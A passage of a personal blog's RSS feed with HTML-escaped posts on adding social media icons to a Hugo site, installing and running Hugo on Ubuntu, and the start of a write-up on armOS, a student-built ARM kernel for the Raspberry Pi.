&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;M18 2h-3a5 5 0 0 0-5 5v3H7v4h3v8h4v-8h3l1-4h-4V7a1 1 0 0 1 1-1h3z&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;path&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;svg&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- else if (eq .name &amp;#34;github&amp;#34;) -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- ... --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;w we can use this template in any page we want. We want to add a list of social media icons in our &lt;strong&gt;About&lt;/strong&gt; page, so we open:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim content/about.md
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and we can add the shortcode, using the name of the files without the &lt;code&gt;.html&lt;/code&gt; suffix:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;div id="socials" style="display: flex; flex-direction: row; justify-content: space-around"&gt;
&lt;a href="https://github.com/thanoskoutr" target="_blank" rel="noopener me" title="Github"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;a href="https://twitter.com/thanosk0utr" target="_blank" rel="noopener me" title="Twitter"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M12 0c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm6.066 9.645c.183 4.04-2.83 8.544-8.164 8.544-1.622 0-3.131-.476-4.402-1.291 1.524.18 3.045-.244 4.252-1.189-1.256-.023-2.317-.854-2.684-1.995.451.086.895.061 1.298-.049-1.381-.278-2.335-1.522-2.304-2.853.388.215.83.344 1.301.359-1.279-.855-1.641-2.544-.889-3.835 1.416 1.738 3.533 2.881 5.92 3.001-.419-1.796.944-3.527 2.799-3.527.825 0 1.572.349 2.096.907.654-.128 1.27-.368 1.824-.697-.215.671-.67 1.233-1.263 1.589.581-.07 1.135-.224 1.649-.453-.384.578-.87 1.084-1.433 1.489z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;a href="https://www.linkedin.com/in/thanos-koutroubas" target="_blank" rel="noopener me" title="Linkedin"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M12 0c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm-2 16h-2v-6h2v6zm-1-6.891c-.607 0-1.1-.496-1.1-1.109 0-.612.492-1.109 1.1-1.109s1.1.497 1.1 1.109c0 .613-.493 1.109-1.1 1.109zm8 6.891h-1.998v-2.861c0-1.881-2.002-1.722-2.002 0v2.861h-2v-6h2v1.093c.872-1.616 4-1.736 4 1.548v3.359z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;a href="https://thanoskoutr.com/index.xml" target="_blank" rel="noopener me" title="Rss"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M12 0c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm-3.374 17c-.897 0-1.626-.727-1.626-1.624s.729-1.624 1.626-1.624 1.626.727 1.626 1.624-.729 1.624-1.626 1.624zm3.885 0c-.03-3.022-2.485-5.474-5.511-5.504v-2.406c4.361.03 7.889 3.555 7.92 7.91h-2.409zm4.081 0c-.016-5.297-4.303-9.571-9.592-9.594v-2.406c6.623.023 11.985 5.384 12 12h-2.408z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;a href="https://scholar.google.com/citations?user=Sa28M-UAAAAJ" target="_blank" rel="noopener me" title="Googlescholar"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M5.242 13.769L0 9.5 12 0l12 9.5-5.242 4.269C17.548 11.249 14.978 9.5 12 9.5c-2.977 0-5.548 1.748-6.758 4.269zM12 10a7 7 0 1 0 0 14 7 7 0 0 0 0-14z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gohugo.io/getting-started/quick-start/"&gt;Hugo - Quick Start&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gohugo.io/getting-started/installing/"&gt;Hugo - Install Hugo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gohugo.io/content-management/menus/"&gt;Hugo - Menus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gohugo.io/content-management/syntax-highlighting/"&gt;Hugo - Syntax Highlighting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.atlantic.net/vps-hosting/how-to-install-hugo-website-generator-on-ubuntu-20-04/"&gt;How to install Hugo Website Generator on Ubuntu 20.04&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Hugo Install</title><link>https://thanoskoutr.com/posts/hugo-install/</link><pubDate>Thu, 29 Apr 2021 23:32:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/hugo-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/hugo.png"/&gt;
&lt;p&gt;In this post, we will see how we can install &lt;a href="https://gohugo.io/"&gt;Hugo&lt;/a&gt; on our Ubuntu (or any Debian based) system.&lt;/p&gt;
&lt;p&gt;Hugo is a very popular open-source static site generator (SSG) that is build with Go. It is mainly known for its speed and flexibility.&lt;/p&gt;
&lt;p&gt;Hugo can be used by experienced Front-End developers that can create their custom themes with the Hugo templating system, but can also be used by novice users that want to create their own webpage with little to none knowledge. This is possible thanks to the large collection of &lt;a href="https://themes.gohugo.io/"&gt;Themes&lt;/a&gt; that Hugo developers have contributed.&lt;/p&gt;
&lt;h2 id="hugo-installation"&gt;
Hugo Installation
&lt;a href="#hugo-installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order to install the latest version in an Ubuntu distro we can download the latest &lt;code&gt;.deb&lt;/code&gt; package from GitHub:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://github.com/gohugoio/hugo/releases/download/v0.82.1/hugo_extended_0.82.1_Linux-64bit.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Find the latest version in the &lt;a href="https://github.com/gohugoio/hugo/releases"&gt;Release Page&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Once the package is downloaded, you can install it with the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo dpkg -i hugo_extended_0.82.1_Linux-64bit.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you see any dependency errors, you can resolve them with the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install -f
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After installation, verify that Hugo is installed properly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="hugo-commands"&gt;
Hugo Commands
&lt;a href="#hugo-commands" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Some basic commands to operate hugo.&lt;/p&gt;
&lt;h3 id="create-a-new-website"&gt;
Create a new website
&lt;a href="#create-a-new-website" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo new site SiteName
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Where &lt;code&gt;SiteName&lt;/code&gt; is the name of your site.&lt;/p&gt;
&lt;h3 id="create-a-new-page"&gt;
Create a new page
&lt;a href="#create-a-new-page" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo new PageName.md
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Where &lt;code&gt;PageName.md&lt;/code&gt; is the name of the page.&lt;/p&gt;
&lt;h3 id="build-the-website"&gt;
Build the website
&lt;a href="#build-the-website" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="serve-the-website"&gt;
Serve the website
&lt;a href="#serve-the-website" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Serve the website only for the localhost machine:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo serve -D
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;-D&lt;/code&gt; option serves also the draft files.&lt;/p&gt;
&lt;p&gt;Server the website for all machines on the local network:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo serve -D --baseUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;http://192.168.1.99 --bind&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0.0.0.0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where the IP in the &lt;code&gt;baseUrl&lt;/code&gt; is the IP of your hosting machine.&lt;/p&gt;</description></item><item><title>armOS - Building a simple ARM Operating System for the Raspberry Pi</title><link>https://thanoskoutr.com/posts/projects/arm-os/</link><pubDate>Sat, 24 Apr 2021 02:26:20 +0300</pubDate><guid>https://thanoskoutr.com/posts/projects/arm-os/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/armOS.png"/&gt;
&lt;p&gt;A simple ARM Operating System for the Raspberry Pi, supporting Aarch32 and Aarch64 architectures. It supports both Raspberry Pi Zero / Zero W and Raspberry Pi 4.&lt;/p&gt;
&lt;p&gt;This project was made for the &lt;a href="https://microlab.ntua.gr/1st-workshop-on-embedded-systems-course-powered-by-students-microlab/"&gt;Embedded Systems course at NTUA 2020-2021&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quick Links:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/github/github-original.svg" alt="GitHub Repo" class="left" style="border-radius: 8px; max-width: 20px; margin-left: 0px; display: inline-block;" /&gt;
GitHub repository: &lt;a href="https://github.com/thanoskoutr/armOS"&gt;https://github.com/thanoskoutr/armOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/gitbook/gitbook-original.svg" alt="Wiki Docs" class="left" style="border-radius: 8px; max-width: 20px; margin-left: 0px; display: inline-block;" /&gt;
Wiki Documentation: &lt;a href="https://github.com/thanoskoutr/armOS/wiki"&gt;https://github.com/thanoskoutr/armOS/wiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/readthedocs/readthedocs-original.svg" alt="Doxygen Docs" class="left" style="border-radius: 8px; max-width: 20px; margin-left: 0px; display: inline-block;" /&gt;
Doxygen Documentation: &lt;a href="https://thanoskoutr.github.io/armOS/"&gt;https://thanoskoutr.github.io/armOS/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;There is presentation in Greek that was made to showcase the Project. You can find it &lt;a href="https://microlab.ntua.gr/wp-content/uploads/2021/03/Koutroubas_Presentation-armOS-Final.pdf"&gt;here&lt;/a&gt; or hosted in the &lt;a href="https://github.com/thanoskoutr/armOS/blob/main/docs/Presentation-armOS-Final.pdf"&gt;repository&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="about"&gt;
About
&lt;a href="#about" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;This simple Operating System (kernel) is inspired and based on the Linux kernel, especially the ARM specific architecture parts. The features of the kernel are presented in detail in a later section. The main focus of this project, was to dive deep into core OS related concepts (such as the scheduler, drivers, handling processes/memory) and get to know the hardware and low level features of ARM embedded devices such as the Raspberry Pi.&lt;/p&gt;
&lt;p&gt;The other focus of this project, was to explore both the &lt;code&gt;Aarch32&lt;/code&gt; and &lt;code&gt;Aarch64&lt;/code&gt; ARM states developing the OS using the ARMv6/ARMv7-a and the ARMv8-a architecture respectively. The 32-bit version is the older and more widespreed architecture in embedded devices, but the 64-bit version is a more powerfull, modern and secure architecture with lots of differences from the old one.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;Aarch32&lt;/code&gt; version was tested on the Raspberry Pi Zero W, but it should work with minor changes to the Raspberry Pi 2 and the original Pi.&lt;/li&gt;
&lt;li&gt;Then &lt;code&gt;Aarch64&lt;/code&gt; version was tested on the Raspberry Pi 4, but it should work with minor changes to the Raspberry Pi 3.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="technologies"&gt;
Technologies
&lt;a href="#technologies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The main technologies used for this project (language, tools, hardware):&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/c/c-original.svg" alt="C logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/gcc/gcc-original.svg" alt="gcc logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://thanoskoutr.com/logos/make.png" alt="make logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/bash/bash-original.svg" alt="bash logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/aarch64/aarch64-original.svg" alt="aarch64 pi logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/raspberrypi/raspberrypi-original.svg" alt="raspberry pi logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/travis/travis-original.svg" alt="travic ci logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/github/github-original.svg" alt="github logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://thanoskoutr.com/logos/doxygen.jpg" alt="doxygen logo" class="left" style="border-radius: 8px; max-width: 100px; margin-left: 10px; display: inline-block;" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;em&gt;For a detailed list of all technologies used check the &lt;a href="https://thanoskoutr.com/posts/projects/arm-os/#technologies-used"&gt;technologies used section&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="documentation"&gt;
Documentation
&lt;a href="#documentation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;There is proper documentation available for the project in two different formats:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the &lt;a href="https://thanoskoutr.github.io/armOS/"&gt;GitHub Pages&lt;/a&gt; of the project&amp;rsquo;s GitHub repository.&lt;/li&gt;
&lt;li&gt;In the &lt;a href="https://github.com/thanoskoutr/armOS/wiki"&gt;Wiki section&lt;/a&gt; of the project&amp;rsquo;s GitHub repository.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="doxygen-documentation"&gt;
Doxygen Documentation
&lt;a href="#doxygen-documentation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;There is detailed documentation of all the source code, generated by &lt;a href="https://www.doxygen.nl"&gt;Doxygen&lt;/a&gt;, describing all the structures and functions of the project.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The documentation is generated either for the Rasperry Pi 4 or the Raspberry Pi Zero / Zero W. They have some differences mainly regarding the register addresses, but they are mostly identical.&lt;/p&gt;
&lt;h3 id="wiki-documentation"&gt;
Wiki Documentation
&lt;a href="#wiki-documentation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;There are specific details about the implementation of most major parts of the OS, and guides for installing the dependencies and running the OS on a Pi.&lt;/p&gt;
&lt;h2 id="project-structure"&gt;
Project Structure
&lt;a href="#project-structure" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The project structure for the source code is the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;├── arch
│ ├── armv6
│ ├── armv7-a
│ └── armv8-a
├── armstub
│ └── src
├── include
│ ├── armv6
│ ├── armv8-a
│ ├── common
│ ├── kernel
│ └── peripherals
└── src
├── common
└── kernel
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;include/&lt;/code&gt; directory contains definitions of structures and functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kernel/&lt;/code&gt;: For the core features of the kernel.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;armv6/&lt;/code&gt; and &lt;code&gt;armv8-a/&lt;/code&gt;: For architecture specific routines implemented in ARM assembly code.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;common/&lt;/code&gt;: For common libraries such as &lt;code&gt;string.h&lt;/code&gt; and &lt;code&gt;stdlib.h&lt;/code&gt; needed for the kernel.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;peripherals/&lt;/code&gt;: For the register&amp;rsquo;s addresses for the peripherals of the devices, in order to provide basic drivers for them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;src/&lt;/code&gt; directory contains the implementations of the functions defined in the &lt;code&gt;include/&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;arch/&lt;/code&gt; directory contains the implementations of the architecture specific routines implemented in ARM assembly code, separated based on the ARM architecture.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;armstub/&lt;/code&gt; directory contains a simple bootloader for the ARMv-8 architecture, in order to boot the kernel in the proper &lt;a href="https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels"&gt;Exception Level&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="features"&gt;
Features
&lt;a href="#features" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The current features of the kernel are the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Drivers for basic peripherals of the Pi boards:
&lt;ul&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; mini UART&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; System Timers&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; GPIO Pins&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; LED&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Implementation of basic library functions:
&lt;ul&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; &lt;code&gt;string.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; &lt;code&gt;stdlib.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; &lt;code&gt;stdbool.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; &lt;code&gt;printk()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Exception Level handling for the ARMv-8 architecture:
&lt;ul&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; Setting kernel at EL 1.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Handling Interrupts - Exceptions:
&lt;ul&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; Initialize vector table.&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; Handles Timer and UART IRQs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Scheduler and processes:
&lt;ul&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; Creates and kills processes.&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; Schedules them in order to run multiple processes concurrently.&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; Performs Context Switching for the execution of different processes.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Implementation of basic serial console:
&lt;ul&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; Communication with users through serial input and output.&lt;/li&gt;
&lt;li&gt;&lt;input checked="" disabled="" type="checkbox"&gt; Available commands to execute.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Features to be implemented in the near feature:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;System Calls&lt;/li&gt;
&lt;li&gt;Proper Virtual memory management&lt;/li&gt;
&lt;li&gt;Video drivers&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="demo-of-kernel"&gt;
Demo of kernel
&lt;a href="#demo-of-kernel" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;A screenshot of the kernel in action, after booting up:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; _____ _____
___ ___ _____ | | __|
| . | _| | | | |__ |
|__,|_| |_|_|_| |_____|_____|
armOS initializing...
Board: Raspberry Pi 4
Arch: aarch64
----- Exception level: EL1 -----
Initializing IRQs...Done
Enabling IRQ controllers...Done
Enabling IRQs...Done
Initializing LED...Done
This is a minimal console, type &amp;#39;help&amp;#39; to see the available commands. (Maximum Input Length: 80)
root@pi-4#
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A screencast where, we create 3 processes, run them and kill them:
&lt;img src="https://thanoskoutr.com/posts/arm-os/armOS-procs.gif" alt="armOS asciicast example" class="center" style="border-radius: 8px; max-width: 100%; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;/p&gt;
&lt;h3 id="available-commands"&gt;
Available Commands
&lt;a href="#available-commands" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Showing the available commands of the console, using the &lt;code&gt;help&lt;/code&gt; command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root@pi-4# help
Available commands:
help:
Prints available commands to the console.
help_led:
Prints available LED commands to the console.
create_procs:
Creates proc_num kernel processes.
run_procs:
Runs the created kernel processes concurrently.
kill_procs:
Kills all created kernel processes.
halt:
Halts the system.
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="requirements"&gt;
Requirements
&lt;a href="#requirements" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order to run this kernel in a Raspberry Pi you need the following:&lt;/p&gt;
&lt;h3 id="boards"&gt;
Boards
&lt;a href="#boards" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;A Rasberry Pi board. One of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Raspberry Pi 4&lt;/li&gt;
&lt;li&gt;Raspberry Pi Zero or Zero W&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="tools"&gt;
Tools
&lt;a href="#tools" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A USB to TTL serial cable.&lt;/li&gt;
